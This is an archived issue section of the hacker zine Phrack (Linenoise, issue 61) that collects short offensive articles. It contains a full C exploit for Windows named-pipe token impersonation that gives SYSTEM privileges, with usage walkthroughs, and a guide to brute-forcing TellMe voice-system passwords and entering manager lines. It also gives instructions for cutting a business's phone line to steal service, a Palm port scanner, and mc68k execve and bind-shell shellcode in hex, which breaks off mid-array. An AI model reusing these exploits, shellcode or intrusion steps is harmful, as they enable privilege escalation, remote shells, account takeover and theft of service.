💾 Archived View for aphrack.org › issues › phrack61 › 3.gmi captured on 2021-12-03 at 14:04:38. Gemini links have been rewritten to link to archived content
View Raw
More Information
-=-=-=-=-=-=-
==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x03 of 0x0f
|=---------------------=[ L I N E N O I S E ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Phrack Staff ]=-----------------------------=|
Everything that does not fit somewhere else can be found here.
Corrections and additions to previous articles, to short articles or
articles that just dont make it....everything.
Contents
1 - Windows named pipes exploitation by DigitalScream
2 - How to hack into TellMe by Archangel
3 - Shitboxing by Agent5
4 - PalmMap v1.6 - Nmap for Palm by Shaun Colley
5 - Writing Linux/mc68xxx shellcode by madcr
6 - Finding hidden kernel modules (the extrem way) by madsys
7 - Good old floppy bombs by Phrick
|=-----------------------------------------------------------------------=|
|=-=[ 1 - Windows named pipes exploitation ]=----------------------------=|
|=-----------------------------------------------------------------------=|
by DigitalScream <digitalsream at real.xakep.ru> / SecurityLevel5
All latest versions of Microsoft Windows family operation systems are
based on Windows NT kernel. This fact has positive impact for both remote
and local security of Windows world. There are still some thin places
though allowing obtaining Local System privileges on the local computer
leading to the full system compromise. Usually this is because
different buffer overruns in stack or heap in system services, like in
case of any operation system. However we should not forget about system
specific bugs because of abnormal behavior of system functions. This kind
of bugs is very system dependant and from time to time is discovered
in different OS. Of cause, Windows is not exception.
Specific bugs are usually having impact on local users. Of cause, this is
not a kind of axiom, but local user has access to larger amount of
the system API functions comparing with remote one. So, we are talking
about possibility for local user to escalate his privileges. By
privilege escalation we mean obtaining privileges of Local System to have
no limitations at all. Now there are few ways to get it, I will talk
about new one.
According to MSDN to launch application with different account one must
use LogonUser() and CreateProcessAsUser() functions. LogonUser() requires
username and password for account we need. 'LogonUser()' task is to set
SE_ASSIGNPRIMARYTOKEN_NAME and SE_INCREASE_QUOTA_NAME privileges for
access token. This privileges are required for CreateProcessAsUser(). Only
system processes have these privileges. Actually 'Administrator' account
have no enough right for CreateProcessAsUser(). So, to execute some
application, e.g. 'cmd.exe' with LocalSystem account we must have it
already. Since we do not have username and password of privileged user we
need another solution.
In this paper we will obtain 'LocalSystem' privileges with file access
API. To open file Windows application call CreateFile() function, defined
below:
HANDLE CreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
To open file we must call something like
HANDLE hFile;
hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
For advanced Windows programmer it's clear that this function has more
application rather than only opening ordinary files. It's used to
openor create new files, directories, physical drives, and different
resources for interprocess communication, such as pipes and mailslots.
We will be concerned with pipes.
Pipes are used for one-way data exchange between parent and child or
between two child processes. All read/write operations are close to
thesame file operations.
Named Pipes are used for two-way data exchange between client and server
or between two client processes. Like pipes they are like files, but can
be used to exchange data on the network.
Named pipe creation example shown below:
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
|=----------------------------------------------------------------------=|
Named pipe's name can vary, but it always has predefined format.
The example of valid name is '\\.\pipe\GetSys'. For Windows, '\\.\'
sequence always precedes filename, e.g. if "C:\boot.ini" is requested
system actually accesses '\\.\C:\boot.ini'. This format is compatible
with UNC standard.
With basic knowledge of named pipes operations we can suppose there can be
a way to full application to access named pipe instead of user supplied
file. For example, if we created named pipe "\\.\pipe\GetSys" we can try
to force application to access "\\ComputerName\pipe\GetSys". It gives us a
chance to manipulate with access token.
Impersonation token is access token with client's privileges. That is,
this is possibility for server to do something on client's behalf. In our
case server is named pipe we created. And it becomes possible because we
are granted SecurityImpersonation privilege for client. More precisely, we
can get this privilege. If client application has privileges of local
system we can get access to registry, process and memory management and
another possibilities not available to ordinary user.
This attack can be easily realized in practice. Attack scenario for this
vulnerability is next:
1. Create name pipe
Wait client connect after named pipe is created.
2. Impersonate client
Because we assume client application has system rights we will have them
too.
3. Obtain required rights. In fact, we need only
- SE_ASSIGNPRIMARYTOKEN_NAME
- SE_INCREASE_QUOTA_NAME
- TOKEN_ALL_ACCESS
- TOKEN_DUBLICATE
This is all we need for CreateProcessAsUser() function. To obtain rights
we need new token with TOKEN_ALL_ACCESS privelege. And we can do it,
because we have privileges of client process.
Execute code of our choice
It could be registry access, setting some hooks or random commands with
system privileges. Last one is most interesting, because we can execute
standalone application of our choice for our specific needs.
As it was said before, now I can execute CreateProcessAsUser() with system
privileges. I back to beginning, but this time I have all required
privileges and 'LocalSystem' is under my thumb.
There is no problem to realize this approach. As an example, we will use
working exploit by wirepair at sh0dan.org based on the code
of maceo at dogmile.com.
#include <stdio.h>
#include <windows.h>
int main(int argc, char **argv)
{
char szPipe[64];
DWORD dwNumber = 0;
DWORD dwType = REG_DWORD;
DWORD dwSize = sizeof(DWORD);
DWORD dw = GetLastError();
HANDLE hToken, hToken2;
PGENERIC_MAPPING pGeneric;
SECURITY_ATTRIBUTES sa;
DWORD dwAccessDesired;
PACL pACL = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
STARTUPINFO si;
PROCESS_INFORMATION pi;
if (argc != 2) {
fprintf(stderr, "Usage: %s <progname>\n", argv[0]);
return 1;
}
memset(&si,0,sizeof(si));
sprintf(szPipe, "\\\\.\\pipe\\GetSys");
// create named pipe"\\.\pipe\GetSys"
HANDLE hPipe = 0;
hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE) {
printf ("Failed to create named pipe:\n %s\n", szPipe);
return 2;
}
printf("Created Named Pipe: \\\\.\\pipe\\GetSys\n");
// initialize security descriptor to obtain client application
// privileges
pSD = (PSECURITY_DESCRIPTOR)
LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH);
InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
sa.nLength = sizeof (SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = pSD;
sa.bInheritHandle = FALSE;
printf("Waiting for connection...\n");
// wait for client connect
ConnectNamedPipe (hPipe, NULL);
printf("Impersonate...\n");
// impersonate client
if (!ImpersonateNamedPipeClient (hPipe)) {
printf ("Failed to impersonate the named pipe.\n");
CloseHandle(hPipe);
return 3;
}
printf("Open Thread Token...\n");
// obtain maximum rights with TOKEN_ALL_ACCESS
if (!OpenThreadToken(GetCurrentThread(),
TOKEN_ALL_ACCESS, TRUE, &hToken )) {
if (hToken != INVALID_HANDLE_VALUE) {
printf("GetLastError: %u\n", dw);
CloseHandle(hToken);
return 4;
}
}
printf("Duplicating Token...\n");
// obtain TOKEN_DUBLICATE privilege
if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,
&sa,SecurityImpersonation,
TokenPrimary, &hToken2) == 0) {
printf("error in duplicate token\n");
printf("GetLastError: %u\n", dw);
return 5;
}
// fill pGeneric structure
pGeneric = new GENERIC_MAPPING;
pGeneric->GenericRead=FILE_GENERIC_READ;
pGeneric->GenericWrite=FILE_GENERIC_WRITE;
pGeneric->GenericExecute=FILE_GENERIC_EXECUTE;
pGeneric->GenericAll=FILE_ALL_ACCESS;
MapGenericMask( &dwAccessDesired, pGeneric );
dwSize = 256;
char szUser[256];
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
ZeroMemory( &si, sizeof(STARTUPINFO));
si.cb = sizeof(si);
si.lpDesktop = NULL;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
printf("Creating New Process %s\n", argv[1]);
// create new process as user
if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa,
&sa,true, NORMAL_PRIORITY_CLASS |
CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
printf("GetLastError: %d\n", GetLastError());
}
// wait process to complete and exit
WaitForSingleObject(pi.hProcess,INFINITE);
CloseHandle(hPipe);
return 0;
}
This vulnerability gives a chance for us to obtain system privileges on
local computer. The only condition is system process must access this
channel. This condition is easy to reproduce with system services.
For example:
[shell 1]
>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...
[shell 2]
>time /T
18:15
>at 18:16 /interactive \\ComputerName\pipe\GetSys
New task added with code 1
[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe
Now we have new instance of cmd.exe with system privileges. It means user
can easily obtain privileges of local system. Of cause reproduce this
situation is easy only in case, there is a service, which can access files
on user request. Because 'at' command requires at least power user
privileges and may be used to launch cmd.exe directly, without any named
pipe this example is useless.
In practice, this vulnerability may be exploited for privilege escalation
by the local user if Microsoft SQL Server is installed. SQL server runs
with system privileges and may be accessed with unprivileged user. @Stake
reported vulnerability in xp_fileexist command. This command checks for
file existence and we can use it to access our named pipe. Attack scenario
is nearly same:
[shell 1]
>pipe cmd.exe
Created Named Pipe: \\.\pipe\GetSys
Waiting for connection...
[shell 2]
C:\>isql -U user
Password:
1> xp_fileexist '\\ComputerName\pipe\GetSys'
2> go
File Exists File is a Directory Parent Directory Exists
----------- ------------------- -----------------------
1 0 1
[shell 1]
Impersonate...
Open Thread Token...
Duplicating Token...
Impersonating: SYSTEM
Creating New Process cmd.exe
At the end, it's good to point that this vulnerability exists in
Windows NT/2000/XP and is patched with Windows 2000 SP4 and
on Windows 2003.
A big thank to ZARAZA(www.security.nnov.ru), without him, nothing could be
possible.
[1] Overview of the "Impersonate a Client After Authentication"
http://support.microsoft.com/default.aspx?scid=kb;[LN];821546
[2] Exploit by maceo
http://www.securityfocus.com/archive/1/74523
[3] Exploit by wirepair
http://www.securityfocus.com/archive/1/329197
[4] Named Pipe Filename Local Privilege Escalation
www.atstake.com/research/advisories/2003/a070803-1.txt
[5] Service Pack 4 for Windows 2000
http://download.microsoft.com/download/b/1/a/
b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe
|=-----------------------------------------------------------------------=|
|=-=[ 2 - How to hack into Tellme ]=-------------------------------------=|
|=-----------------------------------------------------------------------=|
How to get into the Tell-Me network.
(1-800-555-tell)
This is a representation of someone's thoughts. Thoughts cannot be
owned by another person. Use this thought as you see fit, it is yours to
duplicate or use as you please.
By Archangel (Formerly of the P.H.I.R.M.)
Archangel Systems
http://the.feds.are.lookingat.us
--------------------------------------
What is the Tell-Me system?
===========================
TellMe is a high-tech voice activated phone site with internet
connectivity, and even a voice activated browser. It is the ultimate goal
of TellMe to have the whole of the internet voice activated. The system is
quite sophisticated by today's standards, though I'm sure that tomorrow's
readers will find the efforts to be quite primative to say the least. A
free phone call gives the listener access to news, sports, weather, etc.
Even movie listings. Other areas provide for private announcements, or even
voice activated web-sites. In other words, it is now possible, through
TellMe, to dial a phone number, and listen to a website.
Tell me is a subsidiary of CNET, a giant (at the time of this writing)
on the internet.
What security flaws were exploited?
===================================
Well, I guess it's nut-cutting time. TellMe has a VERY SERIOUS security
flaw which can allow unauthorized access to the system within a matter of
hours. As I tried to hack into my own account, I realized that TellMenu
announcements only have a 4 digit numeric password.
Here's what you do:
- You dial 1-800-555-tell.
- You will get an automated banner-ad followed by a menu discribing
various TellMe features.
- You must say the word "Announcements", or dial "198" on the keypad.
This will take you to the announcements area.
- Once in the announcements area, you will need to punch in the
announcement number, which is a seven digit number assigned to you by the
TellMe computer.
- Type in any announcement number you wish (I tried with my own one first,
as this was an experiment to see if I could hack in and change my own
announcement).
The computer says "Ok, here is your announcement."
Then I heard a recording of The Baron Telling what a whimp I am.
- This was followed by the computer saying:
Please type in another announcement number, or say "Main Menu" to
continue. If you are the announcement manager, please use you telephone
keypad to enter your password to edit the announcement. If you remain
silent, the computer will say: "Please enter your 4 digit password."
FOUR DIGITS?????
Were they serious?
Now here's the kicker:
TELLME WON'T DISCONNECT YOU IF YOU FAIL 3 TIMES IN A ROW!!!
Yes, ladies and gentlement, keep trying to your heart's content.
No penalties.
Obviously a Brute Force hack was in order. I handled it by dusting off a
I sat on an extention line, due to the limitations of the dialer, and
listened to it punching in access codes. When it succeeded, I could pause
the wardialer program. I would be able to look at the screen, and see what
the last couple of attempted numbers were, manually dial them in, and gain
access. I know there are easier methods, but this is what I did.
The Baron had mercifully chosen a low number, and I was in, changing
the message in about ten minutes. I then tried two other *SAFE* messages,
that I would not get in trouble for, if changed. I gained access,
respectively, in 45 and 90 minutes (More or less). My math told me that the
maximum time to Brute Force a TellMe announcement was about three hours.
Is that it?
No, while having the ability to change any announcement may be a lot of
fun, there is a far more intersting hack that you can do on TellMe.
Remember how when you first sign on, you have to say "announcements"?
Try saying the word "Extensions". You may be quite surprised at what you
find.
What are Tell-Me extensions?
============================
Tell-Me extensions are that part of the Tellme network, which they
have offered to the world to produce the voice activated web pages. Here
is what you do.
- Say "Extensions". You will be taken to the extensions area, and asked to
punch in an extension number. This is a five digit number. It was time
again for my ancient wardialer to do it's stuff. (Once again, no penalty
for incorrect guesses!)
First off, it is important at this point to mention that TellMe is a
dying concern. Most of the extensions are empty. The only extensions still
operating, are some extensions created by individual developers, Die-hard
developers, and (This is important later) TellMe's *own* extensions.
Apparently, the idea was to use the extension number as a kind of
password, as there is no directory, and one must already know the extension
number in order to gain access.
I checked into The San Remo hotel here in Las Vegas, under my
girlfriend's name, and spent the night hacking. Here's what I have come up
with so far:
Extension 76255:
----------------
This leads to a very bizarre game of Rock/Paper/Scissors. It is one of
the wierdest things that I have ever come across in all my days. I HIGHLY
suggest you try it. It is like some whiney hillbilly guy...well see fer
yerself!
Extension 11111:
----------------
A gypsy with an eight ball. You ask it questions, and it gives you
answers. There are no disclaimers, so I guess this is the real deal! Saying
"quit" or "Stop" won't help you. Just shut the hell up, and it will kick
you back into regular Tell-Me.
Extension 33333:
----------------
Produces the words "HELLO WORLD"
Extension 34118:
----------------
Produces a directory of TellMe's offices, with the regular phone
numbers.
Most of the worthy extensions consisted of foul language, so anyone
under 18 should stop reading now...
Use the letters on your telephone keypad, and you will get some very
intersting results. These are five letter words corresponding to the
numbers on your phone.
CUNTS - Produces a string of numbers of unknown meaning. Just a long
string of a computer voice saying "one, five, seven, three, twelve,
eighty-eight" etc. I'll figure out what that means later.
TITTY - This produces a fax tone, as opposed to a computer tone. I didn't
mess with it.
PENIS - This produces a verbal message about the sendmail system.
HOLES - This is the Quote of the Day.
BOOBS - This has to do with HTTP protocols.
SHIT0 - This is a directory of phone lines in the TellMe system.
FUCK0 - This is a very interesting directory of phone lines in the TellMe
system. Two of the lines appear to be trusted lines, providing a
computer tone which I used to log on. There was a first time user
option, which gave me a manager's account. (Do they have hundreds
of managers?) What can it do? I was able to delete my own account
and bring it back. I didn't fuck with anyone elses account. My goal
is not to destroy, but to learn.
PISS0 - As above, the TellMe system addresses me with a choice of talking
to a live person, or an automated directory of phone lines. I'm
amazed this is all behind a five digit password.
Damn0 - Yet another directory of trusted phone lines. This one, however
askes you for another password right up front, so I'm assuming this
is a more security sensative area!
Pussy - A discription of how to configure a TellMe webpage.
Cum69 - Advice on proper password generation. (hahahahahahahahahaha!!!!)
EATME - Computer tone leading to nowhere.
The TellMe security protocols are pathetic.
Archangel (The Teflon Con)
Wrath of God Hand Delivered
http://the.feds.are.lookingat.us
|=-----------------------------------------------------------------------=|
|=-=[ 3 - Shitboxing ]=--------------------------------------------------=|
|=-----------------------------------------------------------------------=|
by Agent5
So you're sitting in a small family owned type resturaunt or you're
walking through a small store looking at their various wares and, as normal
every couple times a day, you hear the call of nature. You make your way
towards the (preferably single occupancy) mens room (or ladies for those
few that may actually read this) and enter. So your doing your thing and
you're lookin around checking out your surroundings (why? cause you're
supposed to be fucking observant at all times.Thats why.) Your gaze takes
you towards the ceiling. Looks like most most cheap drop down ceilings.
hmmmm.... drop down ceiling.....easily removable. So you stand on the
toilet, or whatever, and take a look. You pull out your pocket flashlight
and take a look. Nothing but wires. Couple elecrical or telephone maybe...
..TELEPHONE? Does this mean i can sit on the throne and use the fone?
Indeed it does! All you need is a few things to help you make your dream
of phreaking at its absolute lazyest a reality.what you need will (besides
your beigebox with a RJ-11 plug on the cord) probably cost you, at an
extreme maximum, 3 bucks for parts and about 6 bucks for an telephone Line
Crimper for standard telephone plugs (RJ-11) you will also need a...
"modular line splitter - Provides two telephone jacks when plugged into the
end of a telephone line cord. Standard 4-wire jacks. Color: Ivory"----bout
dollar and change max cost. Most of these parts, if not all, can be found
at your local radioshack. Now if you havent figured out what i'm getting at
yet, you should seek medical attention immediately, CAT-scans have helped
me alot.<twitch>
Heres what you do and make sure you do it quickly in case they try to
use the telephone while the line is disconnected. SO make sure you lock the
door and get to work fast....if you have people beginning to knock on the
door just make some nasty shitting sounds and say you'll be out in a
minute.
1. Cut the line. (no specific tools needed, something sharp will do)
2. Attach a plug to either end of the line you have just cut.
3. Put one end of the plug in one end of the modular line splitter, put the
one thats left into one of the two holes on the front of the splitter.
4. Now you can either leave and let the intestinaly distressed old guy
pouding on the door in, or you can plug your beige box in and have some
fun.
Treat this as you would any other beige boxing session. Keep in mind
that the people who own the telephone line may want to use it to and may
not enjoy having someone on the line already. But for the most part this
ordinary bathroom has just become a your private telephone booth, complete
with running water and a toilet for the astronomical sum of 3 dollars US.
"This file brought to you by the makers of sharp things."
Shoutouts to Epiphany, Bizurke, Master Slate, Ic0n, Xenocide, Bagel,
Hopping Goblin, Maddjimbeam, lioid, emerica, the rest of the #mabell
ninja's, port7 alliance, and LPH crew .
|=-----------------------------------------------------------------------=|
|=-=[ 4 - PalmMap v1.6 - Nmap for Palm ]=--------------------------------=|
|=-----------------------------------------------------------------------=|
(submitted by Shaun Colley <shaunige at yahoo.co.uk>)
-----BEGIN PALMMAP-----
# PalmMap.bas
# PalmMap v1.6 - Nmap for Palm.
fn set_auto_off(0)
s$(0) = "Host:"
s$(2) = "Start Port:"
s$(4) = "End Port:"
f = form(9, 3, "PalmMap v1.6")
if f = 0 then end
if f = 2 then gosub about
let h$ = s$(1)
let p = val(s$(3))
let e = val(s$(5))
let i = p
let t$ = "PalmMap.log"
open new "memo", t$ as #4
form2:
cls
form btn 30 , 40 , 40 , 18, "connect()", 1
form btn 85 , 40, 40 , 18 , "TCP SYN" , 1
form btn 60 , 80 , 40 , 18 , "UDP scan" , 1
form btn 60 , 120, 40 , 18 , "TCP FIN " , 1
draw "Scan type?", 50, 20, 1
while
x = asc(input$(1))
if x = 14 then gosub scan
if x = 15 then print "Scan type not implemented as of
yet."
if x = 16 then print "Scan type not implemented as of
yet."
if x = 17 then print "Scan type not implemented as of
yet."
wend
sub scan
cls
print at 50, 40
while(i <= e)
c = fn tcp(1, h$, i)
if(c = 0)
print "Port ", i, "Open"
fn tcp(-1, "", 0)
print #4, "Port ", i, "Open"
else
fn tcp(-1, "", 0)
print #4, "Port ", i, "Closed"
endif
let i = i + 1
wend
close #4
print "Scan complete!"
end
sub about
cls
msgbox("PalmMap - Nmap for Palm.", "About PalmMap
1.6")
-----END PALMMAP-----
|=-----------------------------------------------------------------------=|
|=-=[ 5 - Writing Linux/mc68xxx Shellcodez ]=----------------------------=|
|=-----------------------------------------------------------------------=|
by madcr (madrats@mail.ru)
I Introdaction.
II Registers.
III Syscalls.
IV Execve shellcode.
V Bind-socket shellcode.
VI References.
I. Introdaction.
The history Motorola begins already with 1920 then they let out radioelements
and about computers of nothing it was known. Only in 1974, motorola lets out
the first 8th the bit microprocessor - MC6800, containing 4000 transistors and
in 1979 motorola announces the first 16th bit processor - MC68000, capable to
process up to 2 million operations per one second. After 5 more years, in 1984
motorola relize the first 32th the bit processor (MC68020), containing 200000
transistors. Till 1994 inclusive motorola improved a series of the processors
and in a result, in March, release MC68060 processor contained 2,5 million
transistors. In present days, 68060 is the optimal processor for use any unix.
The processor can work in 2 modes: User and SuperVisor. It not analogy of the
real and protected mode in x86 processors. It some kind of protection
"just in case". In the user mode it is impossible to cause exceptions and it
is impossible to have access to all area of memory. In supervisor mode all is
accessible. Accordingly kernel work in Supervisor mode, and rest in User mode.
MC68 supported various manufacturers unix, such as netbsd, openbsd, redhat
linux, debian linux, etc. Given article is focused on linux (in particular
debian).
II. Registers.
The processor as a matter of fact the CISC (but there are some opportunities
RISC), accordingly not so is a lot of registers:
Eight registers of the data: with %d0 on %d7.
Eight registers of the address: with %a0 on %a7.
The register of the status: %sr.
Two stack indexes: %sp and %fp
The program counter: %pc.
Basically it is not required to us of anything more. And the minimal set of
instructions which is required to us by development shellcode:
instruction example description
move movl %d0,%d1 Put value from %d0 in %d1
lea leal %sp@(0xc),%a0 calculate the address on 0xc to
displacement in the stack and it
is put in. %a0.
eor eorl %d0,%d1 xor
pea pea 0x2f2f7368 push in stack '//sh'
In total these 4 instructions will be enough for a spelling functional
shellcode ?). And now it is high time to tell about the fifth, most important
instruction (fifth, need us i mean) and about exceptions. The instruction trap
- a call of exception. In processors motorola, only 256 exceptions, but of all
of them are necessary for us only one - trap #0. In mc68 linux on this
exception call to a kernel, for execution system call. Trap 0 refers to a
vector located to the address $80h (strange concurrence). Now we shall stop on
system calls more in detail.
III. System Calls.
System calls on the given architecture are organized thus:
%d0 - number of a system call.
%d1,%d2,%d3 - argv
i.e. to make banal setuid (0); we will have something unpretentious:
eorl %d2,%d2
movl %d2,%d1
movl #23,%d0
trap #0
Rather simple.
IV. Execve shellcode.
So, we shall start as always with old-kind execve:
.globl _start
_start:
.text
movl #11,%d0 /* execve() (see unistd.h) */
movl #m1,%d1 /* /bin/sh address */
movl #m2,%d2 /* NULL */
movl #m2,%d3 /* NULL too */
trap #0
.data
m1: .ascii "/bin/sh\0"
m2: .ascii "0\0".
# as execve.s -o execve.o ; ld execve.o -o execve
# ./execve
sh-2.03# exit
exit
#
Such code will not go, since he not pozitsio-independent and did not check him
on zero. Therefore we shall rewrite him with participation of the stack (since
the machine at us big endian the order of following of byte needs to be taken
into account):
.globl _start
_start:
moveq #11,%d0 /* execve() */
pea 0x2f2f7368 /* //sh */
pea 0x2f62696e /* /bin (big endian) */
movel %sp,%d1 /* /bin/sh in %d1 */
eorl %d2,%d2 /* pea 0x0 + avoiding */
movel %d2,%sp@- /* zero byte */
pea 0x130 /* pea 0030 -> 0130 = kill the zero */
movel %sp,%d2 /* NULL in %d2 */
movel %d2,%d3 /* NULL in %d2 */
trap #0 /* syscall */
# as execve2.s -o execve2.o ; ld execve2.o -o execve2
# ./execve2
sh-2.03# exit
exit
#
Very well. Now we shall mutate him in ascii and we shall look as it works:
char execve_shellcode[]=
"\x70\x0b" /* moveq #11,%d0 */
"\x48\x79\x2f\x2f\x73\x68" /* pea 0x2f2f7368 -> //sh */
"\x48\x79\x2f\x62\x69\x6e" /* pea 0x2f62696e -> /bin */
"\x22\x0f" /* movel %sp,%d1 */
"\xb5\x82" /* eorl %d2,%d2 -> */
"\x2f\x02" /* movel %d2,%sp@- -> pea 0x0 */
"\x48\x78\x01\x30" /* pea 0x130 */
"\x24\x0f" /* movel %sp,%d2 */
"\x26\x02" /* movel %d2,%d3 */
"\x4e\x40"; /* trap #0 */
main()
{
int *ret;
ret=(int *)&ret +2;
*ret = execve_shellcode;
}
# gcc execve_shellcode.c -o execve_shellcode
# ./execve_shellcode
sh-2.03# exit
exit
#
Our shellcode. Perfectly. But certainly it is not enough of it, therefore we
shall binding this shellcode on socket.
V. Bind-socket shellcode.
For the beginning we write our code on C:
#include <;;shiti;;>
main()
{
int fd,dupa;
struct sockaddr_in se4v;
fd=socket(AF_INET,SOCK_STREAM,0);
se4v.sin_port=200;
se4v.sin_family=2;
se4v.sin_addr.s_addr=0;
bind(fd,(struct sockaddr *)&se4v,sizeof(se4v));
listen(fd,1);
dupa=accept(fd,0,0);
dup2(dupa,0);
dup2(dupa,1);
dup2(dupa,2);
execl("/bin/sh","sh",0);
}
# gcc -static bindshell.c -o bindshell &
# ./bindshell &
[1] 276
# netstat -an | grep 200
tcp 0 0 0.0.0.0:200 0.0.0.0:* LISTEN
# telnet localhost 200
Trying 127.0.01...
Connected to localhost.
Escape character is '^]'.
echo aaaaaaaaaaaa
aaaaaaaaaaaa
ctrl+c
[1]+ Done ./bindshell
All works. Now the last, that us interests - it as there is a work with a
network.
# gdb -q ./bindshell
(gdb) disas socket
Dump of assembler code for function socket:
0x80004734 <socket>: moveal %d2,%a0
0x80004736 <socket+2>: moveq #102,%d0
0x80004738 <socket+4>: moveq #1,%d1
0x8000473a <socket+6>: lea %sp@(4),%a1
0x8000473e <socket+10>: movel %a1,%d2
0x80004740 <socket+12>: trap #0
0x80004742 <socket+14>: movel %a0,%d2
0x80004744 <socket+16>: tstl %d0
0x80004746 <socket+18>: bmil 0x80004958 <__syscall_error>
0x8000474c <socket+24>: rts
0x8000474e <socket+26>: rts
End of assembler dump.
(gdb)
Perfectly. As well as everywhere - 102 = socket_call. 1 - sys_socket.
(for the full list look net.h). Proceeding from the aforesaid we shall write
it on the assembler:
.globl _start
_start:
/* socket(AF_INET,SOCK_STREAM,0); ----------------------------------------- */
/* af_inet - 2, sock_stream - 1, ip_proto0 - 0 */
moveq #2,%d0
movl %d0,%sp@ /* sock_stream */
moveq #1,%d0
movel %d0,%sp@(0x4) /* AF_INET */
eorl %d0,%d0
movl %d0,%sp@(0x8)
movl %sp,%d2 /* put in d2 the address in the stack on where our argv*/
movl #0x66,%d0 /* socketcall (asm/unistd.h) */
movl #1,%d1 /* sys_socket (linux/net.h) */
trap #0 /* go on vector 80 */
/* -bind(socket,(struct sockaddr *)&serv,sizeof(serv));-------------------- */
movl %d0,%sp@ /* in d0 back descriptor on socket */
move #200,%d0
movl %d0,%sp@(0xc) /* port number */
eorl %d0,%d0
movl %d0,%sp@(0x10) /* sin_addr.s_addr=0 */
moveq #2,%d0
movl %d0,%sp@(0x14) /* sin_family=2 */
/* Let's calculate the address of an arrangement of constants of the */
/* second argument and we shall put this address as the second argument */
leal %sp@(0xc),%a0
movl %a0,%sp@(0x4)
moveq #0x10,%d0
movl %d0,%sp@(0x8) /* third argument 0x10 */
movl #0x66,%d0 /* socketcall (asm/unistd.h) */
movl #2,%d1 /* sys_bind (linux/net.h) */
trap #0 /* go on vector 80 */
/* listen (socket,1); ----------------------------------------------------- */
/* descriptor socket's already in stack. */
/*------------------------------------------------------------------------- */
moveq #1,%d0
movl %d0,%sp@(4)
/* in d2 already put address of the beginning arguments in the stack */
movl #0x66,%d0 /* scoketcall (asm/unistd.h) */
movl #4,%d1 /* sys_listen (linux/net.h) */
trap #0 /* go on vector 80 */
/* accept (fd,0,0); ------------------------------------------------------- */
eorl %d0,%d0
movl %d0,%sp@(4)
movl %d0,%sp@(8)
movl #0x66,%d0 /* scoketcall (asm/unistd.h) */
movl #5,%d1 /* sys_accept (linux/net.h) */
trap #0 /* go on vector 80 */
/* dup2 (cli,0); ---------------------------------------------------------- */
/* dup2 (cli,1); ---------------------------------------------------------- */
/* dup2 (cli,2); ---------------------------------------------------------- */
movl %d0,%d1
movl #0x3f,%d0
movl #0,%d2
trap #0
movl %d0,%d1
movl #0x3f,%d0
movl #1,%d2
trap #0
movl %d0,%d1
movl #0x3f,%d0
movl #2,%d2
trap #0
/* execve ("/bin/sh"); ----------------------------------------------------- */
movl #11,%d0 /* execve */
pea 0x2f2f7368 /* //sh */
pea 0x2f62696e /* /bin */
movl %sp,%d1 /* /bin/sh in %d1 */
eorl %d2,%d2
movl %d2,%sp@- /* pea 0x0 */
pea 0x0130 /* 0030 -> 0130 = kill the zero */
movl %sp,%d2
movl %d2,%d3
trap #0
/* ---EOF---bindsock shellcode--------------------------------------------- */
# as bindshell.s -o bindshell.o ; ld bindshell.o -o bindshell
# ./bindshell &
[309]
# telnet localhost 200
Trying 127.0.01...
Connected to localhost.
Escape character is '^]'.
echo aaaaaaaaaaaa
aaaaaaaaaaaa
ctrl+c
In general and all. The code certainly super-not optimized, is some zero, but
the general picture I hope has given. And at last how it should be:
char bind_shellcode[]=
"\x70\x02" /* moveq #2,%d0 */
"\x2e\x80" /* movel %d0,%sp@ */
"\x70\x01" /* moveq #1,%d0 */
"\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */
"\xb1\x80" /* eorl %d0,%d0 */
"\x2f\x40\x00\x08" /* movel %d0,%sp@(8) */
"\x24\x0f" /* movel %sp,%d2 */
"\x70\x66" /* moveq #102,%d0 */
"\x72\x01" /* moveq #1,%d1 */
"\x4e\x40" /* trap #0 */
"\x2e\x80" /* movel %d0,%sp@ */
"\x30\x3c\x00\xc8" /* movew #200,%d0 */
"\x2f\x40\x00\x0c" /* movel %d0,%sp@(12) */
"\xb1\x80" /* eorl %d0,%d0 */
"\x2f\x40\x00\x10" /* movel %d0,%sp@(16) */
"\x70\x02" /* moveq #2,%d0 */
"\x2f\x40\x00\x14" /* movel %d0,%sp@(20) */
"\x41\xef\x00\x0c" /* lea %sp@(12),%a0 */
"\x2f\x48\x00\x04" /* movel %a0,%sp@(4) */
"\x70\x10" /* moveq #16,%d0 */
"\x2f\x40\x00\x08" /* movel %d0,%sp@(8) */
"\x70\x66" /* moveq #102,%d0 */
"\x72\x02" /* moveq #2,%d1 */
"\x4e\x40" /* trap #0 */
"\x70\x01" /* moveq #1,%d0 */
"\x2f\x40\x00\x04" /* movel %d0,%sp@(4) */
"\x70\x66" /* moveq #102,%d0 */
"\x72\x04" /* moveq #4,%d1 */
"\x4e\x40" /* trap #0 */
"\xb1\x80" /* eorl %d0,%d0 */
